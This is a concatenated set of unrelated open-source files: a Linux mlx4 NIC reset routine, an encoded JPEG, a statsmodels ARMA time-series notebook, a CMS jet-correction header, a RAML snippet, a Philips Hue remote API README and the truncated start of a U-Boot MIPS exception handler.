0xce, 0x1d, 0xa2, 0x34, 0x00, 0xaa, 0x54, 0x2f, 0x3c, 0x35, 0x27, 0xc7, 0x3b, 0x2f, 0xbf, 0x3c, 0x2f, 0x04, 0xa4, 0x2c, 0x89, 0x0d, 0x6c, 0x86, 0x31, 0x20, 0x00, 0x00, 0xff, 0xff, 0x19, 0x7c, 0x7c, 0x94, 0xf2, 0x00, 0x00, 0x00, }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2006, 2007 Cisco Systems, Inc. All rights reserved. * Copyright (c) 2007, 2008 Mellanox Technologies. All rights reserved. * * This software is available to you under a choice of one of two * licenses. You may choose to be licensed under the terms of the GNU * General Public License (GPL) Version 2, available from the file * COPYING in the main directory of this source tree, or the * OpenIB.org BSD license below: * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <linux/errno.h> #include <linux/pci.h> #include <linux/delay.h> #include <linux/slab.h> #include <linux/jiffies.h> #include "mlx4.h" int mlx4_reset(struct mlx4_dev *dev) { void __iomem *reset; u32 *hca_header = NULL; int pcie_cap; u16 devctl; u16 linkctl; u16 vendor; unsigned long end; u32 sem; int i; int err = 0; #define MLX4_RESET_BASE 0xf0000 #define MLX4_RESET_SIZE 0x400 #define MLX4_SEM_OFFSET 0x3fc #define MLX4_RESET_OFFSET 0x10 #define MLX4_RESET_VALUE swab32(1) #define MLX4_SEM_TIMEOUT_JIFFIES (10 * HZ) #define MLX4_RESET_TIMEOUT_JIFFIES (2 * HZ) /* * Reset the chip. This is somewhat ugly because we have to * save off the PCI header before reset and then restore it * after the chip reboots. We skip config space offsets 22 * and 23 since those have a special meaning. */ /* Do we need to save off the full 4K PCI Express header?? */ hca_header = kmalloc(256, GFP_KERNEL); if (!hca_header) { err = -ENOMEM; mlx4_err(dev, "Couldn't allocate memory to save HCA PCI header, aborting\n"); goto out; } pcie_cap = pci_pcie_cap(dev->persist->pdev); for (i = 0; i < 64; ++i) { if (i == 22 || i == 23) continue; if (pci_read_config_dword(dev->persist->pdev, i * 4, hca_header + i)) { err = -ENODEV; mlx4_err(dev, "Couldn't save HCA PCI header, aborting\n"); goto out; } } reset = ioremap(pci_resource_start(dev->persist->pdev, 0) + MLX4_RESET_BASE, MLX4_RESET_SIZE); if (!reset) { err = -ENOMEM; mlx4_err(dev, "Couldn't map HCA reset register, aborting\n"); goto out; } /* grab HW semaphore to lock out flash updates */ end = jiffies + MLX4_SEM_TIMEOUT_JIFFIES; do { sem = readl(reset + MLX4_SEM_OFFSET); if (!sem) break; msleep(1); } while (time_before(jiffies, end)); if (sem) { mlx4_err(dev, "Failed to obtain HW semaphore, aborting\n"); err = -EAGAIN; iounmap(reset); goto out; } /* actually hit reset */ writel(MLX4_RESET_VALUE, reset + MLX4_RESET_OFFSET); iounmap(reset); /* Docs say to wait one second before accessing device */ msleep(1000); end = jiffies + MLX4_RESET_TIMEOUT_JIFFIES; do { if (!pci_read_config_word(dev->persist->pdev, PCI_VENDOR_ID, &vendor) && vendor != 0xffff) break; msleep(1); } while (time_before(jiffies, end)); if (vendor == 0xffff) { err = -ENODEV; mlx4_err(dev, "PCI device did not come back after reset, aborting\n"); goto out; } /* Now restore the PCI headers */ if (pcie_cap) { devctl = hca_header[(pcie_cap + PCI_EXP_DEVCTL) / 4]; if (pcie_capability_write_word(dev->persist->pdev, PCI_EXP_DEVCTL, devctl)) { err = -ENODEV; mlx4_err(dev, "Couldn't restore HCA PCI Express Device Control register, aborting\n"); goto out; } linkctl = hca_header[(pcie_cap + PCI_EXP_LNKCTL) / 4]; if (pcie_capability_write_word(dev->persist->pdev, PCI_EXP_LNKCTL, linkctl)) { err = -ENODEV; mlx4_err(dev, "Couldn't restore HCA PCI Express Link control register, aborting\n"); goto out; } } for (i = 0; i < 16; ++i) { if (i * 4 == PCI_COMMAND) continue; if (pci_write_config_dword(dev->persist->pdev, i * 4, hca_header[i])) { err = -ENODEV; mlx4_err(dev, "Couldn't restore HCA reg %x, aborting\n", i); goto out; } } if (pci_write_config_dword(dev->persist->pdev, PCI_COMMAND, hca_header[PCI_COMMAND / 4])) { err = -ENODEV; mlx4_err(dev, "Couldn't restore HCA COMMAND, aborting\n"); goto out; } out: kfree(hca_header); return err; }
{ "pile_set_name": "Github" }
-9j-4AAQSkZJRgABAgEBLAEsAAD-4RJkRXhpZgAASUkqAAgAAAAPAA4BAgAPAAAA wgAAAA8BAgAJAAAA0QAAABABAgANAAAA2gAAABIBAwABAAAAAQAAABoBBQABAAAA 5wAAABsBBQABAAAA7wAAACgBAwABAAAAAgAAADEBAgAUAAAA9wAAADIBAgAUAAAA CwEAADsBAgAMAAAAHwEAABMCAwABAAAAAgAAABQCBQAGAAAAKwEAAJiCAgAbAAAA WwEAAGmHBAABAAAAeAEAAC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QQl AAAAAAAQ9YpEbWDLsYg-QgHtRCCsNjhCSU0D7QAAAAAAEAEsAAAAAQACASwAAAAB AAI4QklNBCYAAAAAAA4AAAAAAAAAAAAAP4AAADhCSU0EDQAAAAAABAAAAB44QklN BBkAAAAAAAQAAAAeOEJJTQPzAAAAAAAJAAAAAAAAAAABADhCSU0ECgAAAAAAAQEA OEJJTQQLAAAAAAAQd3d3LmZyZWVmb3RvLmNvbThCSU0nEAAAAAAACgABAAAAAAAA AAI4QklNA-UAAAAAAEgAL2ZmAAEAbGZmAAYAAAAAAAEAL2ZmAAEAoZmaAAYAAAAA AAEAMgAAAAEAWgAAAAYAAAAAAAEANQAAAAEALQAAAAYAAAAAAAE4QklNA-gAAAAA AHAAAP----------------------------8D6AAAAAD--------------------- --------A.gAAAAA-----------------------------wPoAAAAAP---------- ------------------8D6AAAOEJJTQQIAAAAAAAQAAAAAQAAAkAAAAJAAAAAADhC SU0EHgAAAAAABAAAAAA4QklNBBoAAAAAA0sAAAAGAAAAAAAAAAAAAAZAAAAJYAAA AAsAMAA0AF8AMAAyAF8AMQAwAF8AYQA1AAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAB AAAAAAAAAAAAAAlgAAAGQAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA AAAAABAAAAABAAAAAAAAbnVsbAAAAAIAAAAGYm91bmRzT2JqYwAAAAEAAAAAAABS Y3QxAAAABAAAAABUb3AgbG9uZwAAAAAAAAAATGVmdGxvbmcAAAAAAAAAAEJ0b21s b25nAAAGQAAAAABSZ2h0bG9uZwAACWAAAAAGc2xpY2VzVmxMcwAAAAFPYmpjAAAA AQAAAAAABXNsaWNlAAAAEgAAAAdzbGljZUlEbG9uZwAAAAAAAAAHZ3JvdXBJRGxv bmcAAAAAAAAABm9yaWdpbmVudW0AAAAMRVNsaWNlT3JpZ2luAAAADWF1dG9HZW5l cmF0ZWQAAAAAVHlwZWVudW0AAAAKRVNsaWNlVHlwZQAAAABJbWcg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gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94 cGFja2V0IGVuZD0ndyc-Pv-iDFhJQ0NfUFJPRklMRQABAQAADEhM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ziwHg5eIKxQ0sxDdrEJsFricj5ehXLIVvKRill5 zDpU4mvCYb1PKJeSsBYCaRibh2xZxlH0SD7yr6XckoX.KHNzcy9Tar0ZDiiljlkl jDeKQjxz.x3b.a8xIYc-DrxhiXVksXhukr.vFxdQN2EA.VZJHKIY5cilGSSQsiU1 GGOe7FHNygRcyUQbW0DR3gZrlkd5C74xL1ftW6s3gMDbRavIDP75iSTy2Ym3bVax v6GMWbf9jrupqkacl55y01h6roTSM9ikLDJ6Y-eU30nZBmykoyu3jhNimevRRd8s OzfBIJIvNLR3FXlXwp6PqzRi9K2WGO4gRej4Vzok2OpyDv3S-wCqj1azp2oR8WHc J2fxdupLs9BHNeIyd3KIWIdn2791GJnnFYlbUcZs9QhCF2OYIQhACEITAQhCAEIQ gEhNCASE0IBITQmH-9k
{ "pile_set_name": "Github" }
{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Autoregressive Moving Average (ARMA): Sunspots data" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "%matplotlib inline" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "import numpy as np\n", "from scipy import stats\n", "import pandas as pd\n", "import matplotlib.pyplot as plt\n", "\n", "import statsmodels.api as sm\n", "from statsmodels.tsa.arima.model import ARIMA" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "from statsmodels.graphics.api import qqplot" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Sunspots Data" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "print(sm.datasets.sunspots.NOTE)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "dta = sm.datasets.sunspots.load_pandas().data" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "dta.index = pd.Index(sm.tsa.datetools.dates_from_range('1700', '2008'))\n", "del dta[\"YEAR\"]" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "dta.plot(figsize=(12,8));" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "fig = plt.figure(figsize=(12,8))\n", "ax1 = fig.add_subplot(211)\n", "fig = sm.graphics.tsa.plot_acf(dta.values.squeeze(), lags=40, ax=ax1)\n", "ax2 = fig.add_subplot(212)\n", "fig = sm.graphics.tsa.plot_pacf(dta, lags=40, ax=ax2)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma_mod20 = ARIMA(dta, order=(2, 0, 0)).fit()\n", "print(arma_mod20.params)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma_mod30 = ARIMA(dta, order=(3, 0, 0)).fit()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "print(arma_mod20.aic, arma_mod20.bic, arma_mod20.hqic)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "print(arma_mod30.params)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "print(arma_mod30.aic, arma_mod30.bic, arma_mod30.hqic)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "* Does our model obey the theory?" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sm.stats.durbin_watson(arma_mod30.resid.values)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "fig = plt.figure(figsize=(12,8))\n", "ax = fig.add_subplot(111)\n", "ax = arma_mod30.resid.plot(ax=ax);" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "resid = arma_mod30.resid" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "stats.normaltest(resid)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "fig = plt.figure(figsize=(12,8))\n", "ax = fig.add_subplot(111)\n", "fig = qqplot(resid, line='q', ax=ax, fit=True)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "fig = plt.figure(figsize=(12,8))\n", "ax1 = fig.add_subplot(211)\n", "fig = sm.graphics.tsa.plot_acf(resid.values.squeeze(), lags=40, ax=ax1)\n", "ax2 = fig.add_subplot(212)\n", "fig = sm.graphics.tsa.plot_pacf(resid, lags=40, ax=ax2)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "r,q,p = sm.tsa.acf(resid.values.squeeze(), fft=True, qstat=True)\n", "data = np.c_[range(1,41), r[1:], q, p]\n", "table = pd.DataFrame(data, columns=['lag', \"AC\", \"Q\", \"Prob(>Q)\"])\n", "print(table.set_index('lag'))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "* This indicates a lack of fit." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "* In-sample dynamic prediction. How good does our model do?" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "predict_sunspots = arma_mod30.predict('1990', '2012', dynamic=True)\n", "print(predict_sunspots)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "def mean_forecast_err(y, yhat):\n", " return y.sub(yhat).mean()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "mean_forecast_err(dta.SUNACTIVITY, predict_sunspots)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Exercise: Can you obtain a better fit for the Sunspots model? (Hint: sm.tsa.AR has a method select_order)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Simulated ARMA(4,1): Model Identification is Difficult" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "from statsmodels.tsa.arima_process import ArmaProcess" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "np.random.seed(1234)\n", "# include zero-th lag\n", "arparams = np.array([1, .75, -.65, -.55, .9])\n", "maparams = np.array([1, .65])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's make sure this model is estimable." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma_t = ArmaProcess(arparams, maparams)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma_t.isinvertible" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma_t.isstationary" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "* What does this mean?" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "fig = plt.figure(figsize=(12,8))\n", "ax = fig.add_subplot(111)\n", "ax.plot(arma_t.generate_sample(nsample=50));" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arparams = np.array([1, .35, -.15, .55, .1])\n", "maparams = np.array([1, .65])\n", "arma_t = ArmaProcess(arparams, maparams)\n", "arma_t.isstationary" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma_rvs = arma_t.generate_sample(nsample=500, burnin=250, scale=2.5)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "fig = plt.figure(figsize=(12,8))\n", "ax1 = fig.add_subplot(211)\n", "fig = sm.graphics.tsa.plot_acf(arma_rvs, lags=40, ax=ax1)\n", "ax2 = fig.add_subplot(212)\n", "fig = sm.graphics.tsa.plot_pacf(arma_rvs, lags=40, ax=ax2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "* For mixed ARMA processes the Autocorrelation function is a mixture of exponentials and damped sine waves after (q-p) lags.\n", "* The partial autocorrelation function is a mixture of exponentials and dampened sine waves after (p-q) lags." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma11 = ARIMA(arma_rvs, order=(1, 0, 1)).fit()\n", "resid = arma11.resid\n", "r,q,p = sm.tsa.acf(resid, fft=True, qstat=True)\n", "data = np.c_[range(1,41), r[1:], q, p]\n", "table = pd.DataFrame(data, columns=['lag', \"AC\", \"Q\", \"Prob(>Q)\"])\n", "print(table.set_index('lag'))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "arma41 = ARIMA(arma_rvs, order=(4, 0, 1)).fit()\n", "resid = arma41.resid\n", "r,q,p = sm.tsa.acf(resid, fft=True, qstat=True)\n", "data = np.c_[range(1,41), r[1:], q, p]\n", "table = pd.DataFrame(data, columns=['lag', \"AC\", \"Q\", \"Prob(>Q)\"])\n", "print(table.set_index('lag'))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Exercise: How good of in-sample prediction can you do for another series, say, CPI" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "macrodta = sm.datasets.macrodata.load_pandas().data\n", "macrodta.index = pd.Index(sm.tsa.datetools.dates_from_range('1959Q1', '2009Q3'))\n", "cpi = macrodta[\"cpi\"]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Hint: " ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "fig = plt.figure(figsize=(12,8))\n", "ax = fig.add_subplot(111)\n", "ax = cpi.plot(ax=ax);\n", "ax.legend();" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "P-value of the unit-root test, resoundingly rejects the null of a unit-root." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "print(sm.tsa.adfuller(cpi)[1])" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.7" } }, "nbformat": 4, "nbformat_minor": 1 }
{ "pile_set_name": "Github" }
// Template class: JetCorExample // Description: Example of simple EDAnalyzer correcting jets "on the fly". // Author: K. Kousouris // Date: 25 - August - 2008 #ifndef JetCorExample_h #define JetCorExample_h #include <TH1.h> #include <TFile.h> #include "TNamed.h" #include <vector> #include <map> #include "FWCore/Framework/interface/EDAnalyzer.h" template <class Jet> class JetCorExample : public edm::EDAnalyzer { public: JetCorExample(edm::ParameterSet const& cfg); private: typedef std::vector<Jet> JetCollection; void FillHist1D(const TString& histName, const Double_t& x); void beginJob() override; void analyze(edm::Event const& e, edm::EventSetup const& iSetup) override; void endJob() override; std::map<TString, TH1*> m_HistNames1D; TFile* m_file; /////// Configurable parameters ///////////////////////////////////// /////// Jet algorithm: it can be any Calo or PF algorithm /////////// std::string JetAlgorithm; /////// Histogram where the plots are stored //////////////////////// std::string HistoFileName; /////// Jet correction service: service providing jet corrections /// std::string JetCorrectionService; }; #endif
{ "pile_set_name": "Github" }
#%RAML 0.8 title: Reserved parameter resourceTypes: - collection: get: description: Get list of <<resourcePathName>> at <<resourcePath>> /songs: type: collection
{ "pile_set_name": "Github" }
## Remote API There is also a Philips Hue Remote API. It allows you to send commands to a bridge over the internet. You can request access here: http://www.developers.meethue.com/content/remote-api Q42.HueApi is compatible with the remote API. **Check out the sample code: https://github.com/Q42/Q42.HueApi/blob/master/src/Q42.HueApi.RemoteApi.Sample/MainPage.xaml.cs** How to use the Remote API with the Q42.HueApi library? You'll need an appId, clientId and clientSecret provided by Philips Hue. You can request them on the Hue Developer Portal. Before we can use the RemoteHueClient, we need to get an access token. We use the RemoteAuthenticationClient for that. ```cs IRemoteAuthenticationClient authClient = new RemoteAuthenticationClient(clientId, clientSecret, appId); ``` The user needs to link their bridge to your app by going to a special authorize URL. We can build this URL like this: ```cs authClient.BuildAuthorizeUri("sample", "consoleapp"); ``` Your application is responsible for showing this URL to the user and handle the response. In a Windows 10 UWP app it's easy to present a browser windows to authorize the app, with just one line of code: ```cs var webAuthenticationResult = await WebAuthenticationBroker.AuthenticateAsync(WebAuthenticationOptions.None, authorizeUri, callbackUri); ``` This authentication request results in a code, we can parse that from the result: ```cs var result = authClient.ProcessAuthorizeResponse(webAuthenticationResult.ResponseData); ``` With that code we can get an access token: ```cs var accessToken = await authClient.GetToken(result.Code); ``` Now you can create an RemoteHueClient and give it the helper function that is able to get the access token and automatically refreshes this token when needed: ```cs IRemoteHueClient client = new RemoteHueClient(authClient.GetValidToken); var bridges = await client.GetBridgesAsync(); ``` The last step is to register our app with the user's Bridge ```cs //Register app var key = await client.RegisterAsync(bridges.First().Id, "Sample App"); //Or initialize with saved key: client.Initialize(bridges.First().Id, "saved_key"); //Turn all lights on var lightResult = await client.SendCommandAsync(new LightCommand().TurnOn()); ```
{ "pile_set_name": "Github" }
// SPDX-License-Identifier: GPL-2.0+ /* * Copyright (C) 1994 - 1999, 2000, 01, 06 Ralf Baechle * Copyright (C) 1995, 1996 Paul M. Antoine * Copyright (C) 1998 Ulf Carlsson * Copyright (C) 1999 Silicon Graphics, Inc. * Kevin D. Kissell, [email protected] and Carsten Langgaard, [email protected] * Copyright (C) 2002, 2003, 2004, 2005, 2007 Maciej W. Rozycki * Copyright (C) 2000, 2001, 2012 MIPS Technologies, Inc. All rights reserved. * Copyright (C) 2014, Imagination Technologies Ltd. */ #include <common.h> #include <asm/ptrace.h> #include <cpu_func.h> #include <hang.h> #include <init.h> #include <log.h> #include <asm/mipsregs.h> #include <asm/addrspace.h> #include <asm/system.h> DECLARE_GLOBAL_DATA_PTR; static unsigned long saved_ebase; static void show_regs(const struct pt_regs *regs) { const int field = 2 * sizeof(unsigned long); unsigned int cause = regs->cp0_cause; unsigned int exccode; int i; /* * Saved main processor registers */ for (i = 0; i < 32; ) { if ((i % 4) == 0) printf("$%2d :", i); if (i == 0) printf(" %0*lx", field, 0UL); else if (i == 26 || i == 27) printf(" %*s", field, ""); else printf(" %0*lx", field, regs->regs[i]); i++; if ((i % 4) == 0) puts("\n"); } printf("Hi 